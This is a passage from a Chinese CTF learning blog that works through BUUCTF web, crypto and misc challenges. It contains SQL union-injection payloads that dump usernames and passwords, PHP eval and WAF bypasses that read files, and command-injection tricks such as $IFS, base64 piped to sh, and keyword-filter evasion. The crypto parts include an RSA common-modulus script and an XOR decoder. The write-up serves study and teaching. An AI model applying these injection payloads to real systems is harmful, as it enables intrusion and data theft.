每周刷题(四)

0×00 web1 [极客大挑战 2019]LoveSQL

又是一道注入题。

在这里插入图片描述
我竟然使用万能密码登录成功了。

在这里插入图片描述
给了一串字符但是不知道是啥用。

但换个思维来说,这可能是可回显注入。

payload:http://e1455b99-b85f-4948-8f64-0865420f5f19.node3.buuoj.cn/check.php?username=1'&password=1

用这个来判断闭合符号

在这里插入图片描述
闭合符号为'

而且报错信息是显示在了password那里。

payload?username=1&password=123 ' order by 4 %23

判断列数
在这里插入图片描述

4不行,3可以。判断出有3列

构造payload:?username=1&password=123 ' union select 1,2,3 %23

在这里插入图片描述
emmm

按照联合查询注入一步一步来吧。

判断数据库

payload:?username=1&password=123 ' union select 1,2,database() %23

在这里插入图片描述
数据库geek

爆出表
payload:?username=1&password=123 ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek' %23

在这里插入图片描述
从l0veysq1表判断列名

payload:?username=1&password=123 ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' %23

在这里插入图片描述
查看账号密码

payload:?username=1&password=123 ' union select 1,2,group_concat(username,0x3a,password) from l0ve1ysq1 %23

在这里插入图片描述
找到flag

0×01 web2 [RoarCTF 2019]Easy Calc

简单的计算器

在这里插入图片描述
查看源码的我,也很懵

$('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("这啥?算不来!");
            }
        })
        return false;
    })

calc.php?num="+encodeURIComponent($("#content").val()

给了点思路。

访问calc.php得到了过滤规则。

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }       匹配到黑名单里的字符同时输出die的内容
        }
        eval('echo '.$str.';');
}
?> 

对我们传入的num参数,进行了黑名单过滤,遍历啊,正则匹配啊,一顿操作。

①利用waf与php解析的差异

waf里num就是num, num≠ num≠+num,也就是如果waf过滤了前者,那么后两者就不会被过滤;但是php解析就不一样了,解析前php会删除空白字符串并且将一些特殊字符(空格也是)转换为下划线_,这也就说num= num=+num,这就是解析的差异

那麽我们可以构造payload? num=phpinfo()
不止空格,+,-等等也行

在php版本信息里看到了禁止的函数

在这里插入图片描述
system函数被禁止了。

我们可以使用var_dump函数将内容打印出来,但是scandir("")访问根目录的文件,但是""和\都被过滤了,所以我们需要使用chr()函数从指定的 ASCII 值返回字符。47的ASCII为\,并且47是整型不需要加双引号。

payload:? num=var_dump(scandir(chr(47)))

在这里插入图片描述
看到了f1agg数组。(是1不是l)

接下来利用file()函数或者file_get_contents()函数(如果system不被禁止和他们的用法一样)

payload:?+num=var_dump(file((chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

或者
payload:?+num=var_dump(file_get_contents((chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

必须要加chr(47),即\,因为要访问根文件。
“点号”是一个字符串连接符,即并置运算符,用来拼接字符串。
“逗号”才是分隔符

看到大佬说这里的chr(47)也可以换为hex2bin(dechex(47))
dechex()函数把十进制数转换为十六进制数。hex2bin()函数把十六进制值的字符串转换为 ASCII字符。(有点更麻烦了,但也是一种绕过方法,学习了)

至于http走私的解题方法以后会补充上的。

0×02 web 3 [GXYCTF2019]Ping Ping Ping

在这里插入图片描述
一道ping命令题

DVWA里有类似题

构造payload:?ip=127.0.0.1&ls或者?ip=127.0.0.1|ls

在这里插入图片描述
然后payload:?ip=127.0.0.1&cat flag.php

在这里插入图片描述
有空格,需要用$IFS$1替代

常用的代替空格的

$IFS

${IFS}

$IFS$1 //$1改成$加其他数字都可以

<

<>

{cat,flag.php}  //用逗号实现了空格功能

%20

%09

在这里插入图片描述
flag这个词也被过滤了。

(ˉ▽ˉ;)…

大师傅说可以用index.php查看waf(我竟然没想起来)

/?ip=
|’|"|\|(|)|[|]|{|}/", $ip, $match)){
echo preg_match("/&|/|?|*|<|[\x{00}-\x{20}]|>|’|"|\|(|)|[|]|{|}/", $ip, $match);
die(“fxck your symbol!”);
} else if(preg_match("/ /", $ip)){
die(“fxck your space!”);
} else if(preg_match("/bash/", $ip)){
die(“fxck your bash!”);
} else if(preg_match("/.*f.*l.*a.g./", $ip)){
die(“fxck your flag!”);
}
$a = shell_exec("ping -c 4 ". $ ip);
echo "
";
print_r($ a);
}
?>

过滤了很多的字符。

考虑用拼接payload:?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

看了半年也没有发现flag,最后发现藏在了源代码里
在这里插入图片描述

原谅我的无知。

另一种方法:内联执行(我感觉还是拼接)

payload:?ip=1;a=f;d=ag;c=l;cat$IFS$a$c$d.php

将flag拆开覆盖不同的变量,在拼接一起。

查看源码就可以获取flag。

还有几种方法我也是第一次见(做题太少了)

①因为过滤了bash,但可以使用sh,需要对flag.php进行base64加密。(编码绕过)
payload:echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

其中Y2F0IGZsYWcucGhw是cat flag.php的base64加密出的。

|sh的意思是执行前面的echo语句。

对于几种绕过关键字过滤的方式

可以绕过cat这一整体,对于单个的的就不行了。

$*
$@
$x    (x 代表 1-9)
${x}   (x>=10)
在没有传参的情况下,上面的特殊变量都是为空的 ca${21}t a.txt
ca\t a.txt            //反斜杠绕过
a=ca;b=t;c=a.txt;aaab $c         //变量替换
c'a't flag.php           //引号

echo 'cat a.txt' | xxd -p 63617420612e7478740a
echo '0x63617420612e7478740a'| xxd -r -p Abc     //十六进制编码绕过

最后一种:通配符

? 
*
[…]:匹配范围中任何一个字符 cat fl[abc]g.php
[a-z]:匹配 a-z 范围中任何一个字符 cat fl[a-z]g.php
{a,b}:对以逗号分割的文件列表进行拓展 cat fl{b,c}g.php

呜哈哈哈哈哈

0×03 cypto1 RSA3

给的信息

c1=22322035275663237041646893770451933509324701913484303338076210603542612758956262869640822486470121149424485571361007421293675516338822195280313794991136048140918842471219840263536338886250492682739436410013436651161720725855484866690084788721349555662019879081501113222996123305533009325964377798892703161521852805956811219563883312896330156298621674684353919547558127920925706842808914762199011054955816534977675267395009575347820387073483928425066536361482774892370969520740304287456555508933372782327506569010772537497541764311429052216291198932092617792645253901478910801592878203564861118912045464959832566051361
n=22708078815885011462462049064339185898712439277226831073457888403129378547350292420267016551819052430779004755846649044001024141485283286483130702616057274698473611149508798869706347501931583117632710700787228016480127677393649929530416598686027354216422565934459015161927613607902831542857977859612596282353679327773303727004407262197231586324599181983572622404590354084541788062262164510140605868122410388090174420147752408554129789760902300898046273909007852818474030770699647647363015102118956737673941354217692696044969695308506436573142565573487583507037356944848039864382339216266670673567488871508925311154801
e1=11187289
c2=18702010045187015556548691642394982835669262147230212731309938675226458555210425972429418449273410535387985931036711854265623905066805665751803269106880746769003478900791099590239513925449748814075904017471585572848473556490565450062664706449128415834787961947266259789785962922238701134079720414228414066193071495304612341052987455615930023536823801499269773357186087452747500840640419365011554421183037505653461286732740983702740822671148045619497667184586123657285604061875653909567822328914065337797733444640351518775487649819978262363617265797982843179630888729407238496650987720428708217115257989007867331698397
e2=9647291

看了很多大师傅对于共模攻击的介绍的文章,我有感觉对我能行了。

其实共模攻击很好理解,就是一条相同的消息,同时经过所有公钥加密就造成了共模攻击。
共模攻击利用的大前提就是,RSA体系在生成密钥的过程中使用了相同的模数n。

就以上面的题来说,两个加密都是用了共同的n。

我将明文M加密并发给A和B两个朋友。

密文1=M ^ e1 mod n
密文2 = M^ e2 mod n

他们利用自己持有的私钥,得到信息M。

但是当另一个人监听了A和B接收到的密文密文1,密文2,因为模数不变,以及所有公钥都是公开的,那么利用同模攻击,他就可以在不知道d1,d2的情况下解密得到消息m,这就利用共模攻击造成了信息泄露。

大佬对共模攻击的详解点这

上代码

from gmpy2 import *
import libnum

n=22708078815885011462462049064339185898712439277226831073457888403129378547350292420267016551819052430779004755846649044001024141485283286483130702616057274698473611149508798869706347501931583117632710700787228016480127677393649929530416598686027354216422565934459015161927613607902831542857977859612596282353679327773303727004407262197231586324599181983572622404590354084541788062262164510140605868122410388090174420147752408554129789760902300898046273909007852818474030770699647647363015102118956737673941354217692696044969695308506436573142565573487583507037356944848039864382339216266670673567488871508925311154801
e1=11187289
e2=9647291
s = gcdext(e1, e2)
s1 = s[1]
s2 = -s[2]

c1=22322035275663237041646893770451933509324701913484303338076210603542612758956262869640822486470121149424485571361007421293675516338822195280313794991136048140918842471219840263536338886250492682739436410013436651161720725855484866690084788721349555662019879081501113222996123305533009325964377798892703161521852805956811219563883312896330156298621674684353919547558127920925706842808914762199011054955816534977675267395009575347820387073483928425066536361482774892370969520740304287456555508933372782327506569010772537497541764311429052216291198932092617792645253901478910801592878203564861118912045464959832566051361
c2=18702010045187015556548691642394982835669262147230212731309938675226458555210425972429418449273410535387985931036711854265623905066805665751803269106880746769003478900791099590239513925449748814075904017471585572848473556490565450062664706449128415834787961947266259789785962922238701134079720414228414066193071495304612341052987455615930023536823801499269773357186087452747500840640419365011554421183037505653461286732740983702740822671148045619497667184586123657285604061875653909567822328914065337797733444640351518775487649819978262363617265797982843179630888729407238496650987720428708217115257989007867331698397
e2=9647291
c2 = invert(c2, n)
m = (pow(c1,s1,n) * pow(c2 , s2 , n)) % n
print (m)
print (libnum.n2s(m))

直接得到flag。

0×04 cypto2 世上无难事

VIZZB IFIUOJBWO NVXAP OBC XZZ UKHVN IFIUOJBWO HB XVIXW XAW VXFI X QIXN VBD KQ IFIUOJBWO WBKAH NBWXO VBD XJBCN NKG QLKEIU DI XUI VIUI DKNV QNCWIANQ XN DXPIMKIZW VKHV QEVBBZ KA XUZKAHNBA FKUHKAKX XAW DI VXFI HBN QNCWIANQ NCAKAH KA MUBG XZZ XEUBQQ XGIUKEX MUBG PKAWIUHXUNIA NVUBCHV 12NV HUXWI XAW DI XUI SCQN QB HZXW NVXN XZZ EBCZW SBKA CQ NBWXO XAW DI DXAN NB NVXAP DXPIMKIZW MBU JIKAH QCEV XA BCNQNXAWKAH VBQN HKFI OBCUQIZFIQ X JKH UBCAW BM XLLZXCQI XAW NVI PIO KQ 640I11012805M211J0XJ24MM02X1IW09

以为是十六进制,试了n次无果。

题目给了三个限制
①key作为答案提交
②答案是32位
③包含小写字母

没想到又是替换密码PIO=key

在这里插入图片描述
flagggggg(改为小写)

0×05 cypto3 异性相吸

给了两个文件,key.txt和密文.txt

key.txt

asadsasdasdasdasdasdasdasdasdasdqwesqf

密文.txt

ἇ̀Ј唒ဃ塔屋䩘卖剄䐃堂ن䝔嘅均ቄ䩝ᬔ

在这里插入图片描述
忍不住看了大师傅博客,是抑或

#-*-coding:utf-8 -*-
with open('密文.txt'.decode('utf-8'),'rb') as a:
    a=a.read()
with open('key.txt','rb') as b:
    b=b.read()
d=''
print len(b)
print len(a)
for i in range(0,len(b)):
    c=chr(ord(a[i])^ord(b[i]))
    d+=c
print(d)

得到了flag。

0×06 MIsc1 FLAG

在这里插入图片描述
拉进weihex里也没有线索。

stegsolve里看了下也没什么,被提示到是最低位隐写。

在这里插入图片描述
save bin保存为zip文件。

Windows下无法打开,那就使用kail。

使用file 1查看文件,使用strings查看文件的字符串,得到flag。
在这里插入图片描述

0×07 Misc2 另外一个世界

在这里插入图片描述
图片的名字monster(怪物),看了图片属性也没给什么信息。

直接拉进winhex里。
在末尾发现了一串二进制数字。

在这里插入图片描述

找个网站,二进制转换为各种进制和字符串。

在这里插入图片描述
好家伙,直接得到flag。

0×08 Misc3 假如给我三天光明

得到一个压缩包(加密的)和一张图片。
在这里插入图片描述
赶紧找点盲文对照表,总感觉下面的点点不对劲
在这里插入图片描述
转换一下图片下的字符是:kmdonowg

那就应该是压缩包的密码了

听了音频文件,那嘀嘀嘀的声音,盲猜摩斯密码(突然想起了亮剑)

拿出我百年前的神器Audacity,就慢慢听吧

脑子充满了滴答滴答滴答滴答
最后得到-.-. - ..-. .-- .--. . .. ----- ---.. --... ...-- ..--- ..--.. ..--- ...-- -.. --..
解密得到:CTFWPEI08732?23DZ提交的时候转换为小写。

这周就结束了,明天又是元气满满的一天!!!

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值